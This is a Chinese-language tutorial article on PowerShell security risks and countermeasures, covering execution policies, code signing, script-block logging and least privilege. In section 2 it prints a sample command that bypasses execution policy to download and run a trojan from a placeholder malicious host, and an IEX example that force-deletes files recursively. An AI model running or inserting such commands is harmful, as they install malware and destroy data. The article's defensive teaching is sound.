一、PowerShell为啥有安全风险?
很多搞技术的小伙伴都知道PowerShell,它是Windows自带的脚本工具,能自动完成一堆运维、系统管理的活,比如批量改电脑设置、收集系统日志、批量安装软件,简直是效率神器。但就是这么好用的工具,最近几年成了网络攻击里的“常客”,为啥?核心原因就是它的安全风险容易被忽略。
1.1 脚本能悄悄执行隐藏操作
PowerShell和系统深度绑定,权限高,攻击者很容易把恶意代码藏在脚本里,通过钓鱼链接、附件传播。比如用户点了带恶意PowerShell代码的快捷方式,或者双击了伪装成工资单的.ps1文件,脚本就会在后台悄悄运行,偷数据、开后门、删文件都能搞定。
1.2 权限太大容易引发连锁风险
普通用户运行PowerShell时,如果不小心用了管理员权限,恶意脚本就能直接拿到系统最高权限,改注册表、删系统文件、创建管理员账号,后果不堪设想。之前有不少企业的勒索软件攻击,都是利用PowerShell脚本绕过安全软件,加密全公司的服务器文件,根源就是没重视这个风险。
二、常见的PowerShell安全风险场景
这些场景都是攻击者常用的手段,也是我们日常要警惕的重点,结合实际例子来看更清楚。
2.1 绕过执行策略执行恶意脚本
PowerShell默认的执行策略会限制脚本运行,但攻击者常加参数绕过,比如用-ExecutionPolicy Bypass直接忽略策略,这是最常见的攻击手段。比如攻击者把恶意代码封装成一个简单命令,诱导用户运行:
# 攻击者常用的绕过示例,请勿模仿实际攻击
# 作用:下载木马并运行,隐藏操作
powershell.exe -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://恶意站点.com/木马.exe' -OutFile 'C:\temp\木马.exe'; Start-Process 'C:\temp\木马.exe'"
这个命令会直接下载恶意程序,没有任何提示,普通用户根本发现不了。
2.2 滥用内置命令执行危险操作
PowerShell有很多内置命令,比如Invoke-Expression(别名IEX),能把字符串当成代码执行,攻击者会构造危险代码,用IEX执行。比如这个简单的恶意代码:
# 滥用IEX的风险示例,字符串是要执行的危险命令
$riskCode = "Remove-Item -Path 'C:\重要文件\*' -Recurse -Force -ErrorAction SilentlyContinue"
IEX $riskCode # 直接执行字符串里的删除命令,无需用户确认
只要被攻击者调用,不管是什么文件都会被删掉,隐蔽性极高。
三、防护措施详解
针对上面的风险,我们可以从配置、编码、监控三个层面入手,每个措施都有具体的操作和例子,普通人也能快速上手。
3.1 配置合理的执行策略(核心防护)
PowerShell的执行策略分四种,选对的策略能挡住大部分随意下载的恶意脚本,四种策略的区别和适用场景如下:
- Restricted:默认策略,只允许单个命令,不允许脚本,适合绝对的安全场景,太影响效率;
- AllSigned:所有脚本必须有数字签名才能运行,安全性最高,但需要给每一个脚本做签名,麻烦;
- RemoteSigned:本地自己写的脚本可以运行,从网络下载的脚本必须有签名,平衡了安全和效率,90%的普通用户适合用这个;
- Bypass:完全不限制,只有管理员调试临时用,绝对不能给普通用户开。 具体操作示例:
# 查看当前电脑的执行策略
Get-ExecutionPolicy
# 设置适合普通用户的策略(CurrentUser级别,只改当前用户的配置,不影响其他用户)
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
# 解释:本地你自己写的备份脚本可以直接跑,网上下载的脚本必须是可信签名的,才能运行,挡住大部分恶意脚本
优缺点:优点是配置简单,不用复杂操作;缺点是攻击者可以用参数(比如刚才的Bypass参数)绕过,所以要结合其他措施。
3.2 给脚本加数字签名(防篡改+防恶意)
就算设置了执行策略,攻击者如果篡改合法脚本,或者自己写的脚本没签名,还是会被运行。给脚本加数字签名后,只有签名合法的脚本才能运行,而且脚本被篡改后签名会失效,系统会直接阻止运行。步骤示例:
# 1. 先创建测试用的自签名证书(仅用于自己电脑测试,正式环境用正规CA的证书)
New-SelfSignedCertificate -Subject "PowerShell脚本签名测试证书" -CertStoreLocation Cert:\CurrentUser\My -Type CodeSigningCert
# 2. 查看刚才创建的签名证书,复制Thumbprint值(后面要用到)
Get-ChildItem -Path Cert:\CurrentUser\My -CodeSigningCert
# 3. 给自己的合法脚本签名,比如备份用的脚本
Set-AuthenticodeSignature -FilePath "C:\我的脚本\数据备份.ps1" -Certificate (Get-ChildItem -Path Cert:\CurrentUser\My -CodeSigningCert)[0]
注意事项:正式环境一定要用正规CA(比如DigiCert、国内的CFCA)的证书,自签名证书只有自己电脑认,其他电脑会提示“无法验证发布者”,不能用于企业环境。
3.3 开启PowerShell日志监控(发现异常)
企业安全团队会用这个方法找攻击痕迹,普通用户也可以开启日志,查看自己电脑上的PowerShell异常操作。默认日志是关闭的,需要手动开启:
# 以管理员身份运行,开启PowerShell脚本块日志(事件ID 4104会记录每一段执行的代码)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-PowerShell/Operational" -Name Enabled -Value 1
# 查看最近10条PowerShell异常执行记录,比如用IEX、Invoke-WebRequest下载的代码
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 10 | Where-Object {$_.Message -match "IEX|Invoke-WebRequest"} | Select-Object TimeCreated, Message
应用场景:企业安全人员会每天定期查这个日志,有没有员工的电脑跑了不明来源的脚本,或者有异常的网络下载操作,就能及时发现攻击。
四、实际使用中的注意事项
除了上面的措施,日常用PowerShell还要注意这几点,避免踩坑:
4.1 别用管理员权限跑普通脚本
很多人图方便,打开PowerShell就用管理员身份,其实普通脚本只需要普通权限,就算出问题,危害也小。比如你只是要改自己的文档,或者备份数据,用普通权限就行,避免恶意脚本拿到最高权限。
4.2 定期检查脚本内容
不管是自己写的还是网上找的脚本,都要仔细看有没有可疑命令,比如IEX、Invoke-Expression、Invoke-WebRequest这些都是高风险命令,要是脚本里有这些,要确认是你需要的功能,还是恶意代码。
4.3 关闭不必要的PowerShell功能
企业可以用组策略禁用PowerShell ISE编辑器,或者限制PowerShell的网络访问,这样就算攻击者拿到脚本,也没法下载恶意内容,进一步提升安全性。
五、总结
PowerShell是效率极高的工具,但安全风险确实存在,不过不用怕它,只要做好合理的配置:设置适合的执行策略,给脚本加签名,开启日志监控,日常注意权限和脚本审查,就能平衡自动化效率和系统安全。很多攻击都是因为没重视这些小细节,比如随便用Bypass策略,不检查脚本内容,导致中招。希望这篇文章能帮大家避开PowerShell的安全坑,安心用这个工具提升效率。
评论
围绕“PowerShell脚本的安全风险识别与防护措施详解”参与讨论